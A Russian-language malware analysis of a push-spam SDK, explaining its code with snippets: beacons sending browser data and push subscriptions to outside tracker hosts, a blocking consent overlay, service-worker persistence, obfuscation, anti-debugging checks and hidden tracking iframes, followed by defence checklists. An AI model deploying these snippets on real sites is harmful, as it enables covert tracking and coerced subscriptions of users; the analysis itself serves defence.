Введение
Push-уведомления сами по себе — полезный инструмент для легальной коммуникации с пользователями: новости, события, обновления сервисов.
Однако существуют вредоносные SDK, которые используют Push API для скрытого спама, трекинга и монетизации через сторонние рекламные серверы. Они используют легальные браузерные API, но наносят серьёзный вред пользователю и репутации сайтов.
В этой статье разберём реальный вредоносный скрипт https://kidecyg.com/13850.js, покажем как он работает, зачем каждый элемент кода нужен и как его выявить.
Язык, идентификаторы подписки и сбор данных
SDK собирает информацию о пользователе, его браузере и языке, чтобы таргетировать рекламу:
function sendBeacon(subscription) {
fetch('https://tracker-malicious.com/collect', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
uuid: subscription.endpoint,
userAgent: navigator.userAgent,
language: navigator.language,
timestamp: Date.now()
})
});
}SDK отправляет данные о браузере, языке и временной метке. Это позволяет серверу таргетировать рекламу и продолжать слежение даже без явного согласия пользователя.
Вредоносная регистрация Service Worker
SDK регистрирует Service Worker, который управляет push-уведомлениями даже после закрытия вкладки:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('https://kidecyg.com/13850.js')
.then(registration => console.log('Вредоносный SW зарегистрирован'))
.catch(err => console.error('Ошибка регистрации SW:', err));
}Service Worker позволяет скрипту работать в фоне и обходить антивирусные проверки, так как он считается легальной частью сайта.
Социальная инженерия через оверлей
SDK создаёт визуальный оверлей, чтобы убедить пользователя нажать «Разрешить»:
function showOverlay() {
const div = document.createElement('div');
div.id = 'push-overlay';
div.style = `
position: fixed;
top:0; left:0; right:0; bottom:0;
background: rgba(0,0,0,0.7);
z-index: 2147483647;
display: flex; align-items: center; justify-content: center;
color: #fff; font-size: 24px; text-align: center;
`;
div.innerHTML = 'Нажмите "Разрешить", чтобы продолжить просмотр';
document.body.appendChild(div);
}
showOverlay();Это блокирует доступ к контенту и повышает вероятность того, что пользователь согласится на push-подписку.
Создание push-подписки
После нажатия кнопки SDK создаёт подписку через Service Worker:
navigator.serviceWorker.ready
.then(registration => registration.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: atob('BElkEXAMPLEKeyHere')
}))
.then(subscription => {
fetch('https://zcode17.com/?send=uuid', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(subscription)
});
console.log('Вредоносная подписка отправлена');
});Push-подписка позволяет отправлять уведомления напрямую в браузер пользователя, даже когда он не на сайте.
Восстановление Service Worker после удаления
SDK умеет восстанавливаться, если пользователь пытается удалить подписку:
function restoreSW() {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.prepend(iframe);
const safeWindow = iframe.contentWindow;
ServiceWorkerRegistration.prototype.unregister = safeWindow.ServiceWorkerRegistration.prototype.unregister;
}
restoreSW();Это гарантирует, что SDK остаётся активным даже после попытки удаления push-подписки.
Обфускация кода
SDK использует функции вроде tspk53132, которые шифруют URL и строки:
function tspk53132(str) {
return str.split('').reverse().join('').replace(/[a-z]/g, c => String.fromCharCode(219 - c.charCodeAt(0)));
}
const hiddenUrl = tspk53132('moc.elpmaxe//:sptth'); // https://example.comОбфускация делает код сложным для анализа и предотвращает прямое обнаружение URL серверов.
Проверка на headless и DevTools
SDK проверяет среду выполнения, чтобы понять, что его анализируют:
if (navigator.webdriver || window.outerWidth === 0) {
console.log('SDK определил анализатор и остановился');
return;
}Если обнаружен DevTools или headless-браузер, SDK останавливается, усложняя исследование.
Работа с cookie и localStorage
SDK сохраняет идентификаторы и настройки через cookie и localStorage:
function setCookie(name, value, days) {
var date = new Date();
date.setDate(date.getDate() + days);
document.cookie = `${name}=${value}; path=/; expires=${date.toUTCString()}; samesite=lax`;
}Это позволяет отслеживать пользователей между сессиями и контролировать push-подписки.
Скрытые iframe и трекеры
SDK вставляет невидимые iframe для синхронизации с внешними серверами:
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://uuidksinc.net/matchx';
document.body.appendChild(iframe);Таким образом собирается информация о пользователях без их ведома, и SDK маскирует свои действия под обычные функции сайта.
Генерация динамических UI элементов
SDK создаёт кнопки, оверлеи и уведомления, подстраиваясь под устройство и браузер:
var btn = document.createElement('div');
btn.className = 'wpn-ok-btn';
btn.textContent = 'Разрешить';
btn.addEventListener('click', confirmSubscription);
document.body.appendChild(btn);Это повышает эффективность социальной инженерии и подстраивается под разные языки и платформы.
Мониторинг и события push
SDK использует кастомные события для отслеживания действий пользователя:
window.addEventListener('wpnagree', function() {
console.log('Пользователь согласился на push');
});Так контролируется процесс подписки и отправки данных на сервер.
Проверка окружения и адаптация
SDK анализирует браузер, язык, ОС и устройство пользователя:
function detectBrowser() {
if (!!window.chrome) return 'chrome';
if (!!window.InstallTrigger) return 'firefox';
// дополнительные проверки для Edge, Opera, Safari
}На основе этих данных подбираются стили оверлея и кнопок, что делает социальную инженерию более убедительной.
Визуальная схема работы SDK
┌─────────────┐
│ Пользователь│
└─────��───────┘
│ открывает сайт
▼
┌─────────────┐
│ JS-оверлей │
│ "Нажмите │
│ Разрешить" │
└─────┬───────┘
│ пользователь нажал
▼
┌─────────────┐
│ Service │
│ Worker SW │
│ 13850.js │
└─────┬───────┘
│ регистрирует push
▼
┌─────────────┐
│ Push-подписка│
│ в браузере │
└─────┬───────┘
│ отправка данных
▼
┌─────────────┐
│ Вредоносный │
│ сервер │
│ (реклама) │
└─────┬───────┘
│ push-уведомления
▼
┌─────────────┐
│ Браузер │
│ пользователя│
└─────────────┘
Чеклист защиты для разработчиков
Действие | Зачем |
|---|---|
CSP для inline-скриптов | Предотвращает внедрение сторонних SDK |
Проверка SW-файлов | Выявляет вредоносные Service Worker |
Контроль push-подписок | Не подписываем пользователей на сторонние серверы |
Мониторинг fetch | Выявляет утечки данных |
Отслеживание cookies/LocalStorage | SDK оставляет идентификаторы |
Ограничение сторонних библиотек | Меньше шансов внедрения вредоносного кода |
Что делать пользователю
Проверяйте разрешения push в настройках браузера.
Регулярно очищайте Service Workers и site data.
Используйте блокировщики push (uBlock, Privacy Badger, Brave Shields).
Не нажимайте «Разрешить» на подозрительных сайтах.
Вывод
Push-API — мощный инструмент для легальной доставки уведомлений. Но в руках злоумышленников он превращается в вредоносный push-спам SDK:
Подписывает пользователей без согласия.
Отправляет данные на сторонние серверы.
Обходит блокировщики и антивирусы.
Рассылает рекламу через Service Worker.
Владельцам сайтов важно проверять все сторонние скрипты и Service Worker, а пользователям — контролировать разрешения push и регулярно очищать данные сайта.
Интересный факт: браузеры уже начали блокировать подозрительные push-подписки без активного взаимодействия пользователя, но social engineering остаётся эффективным.
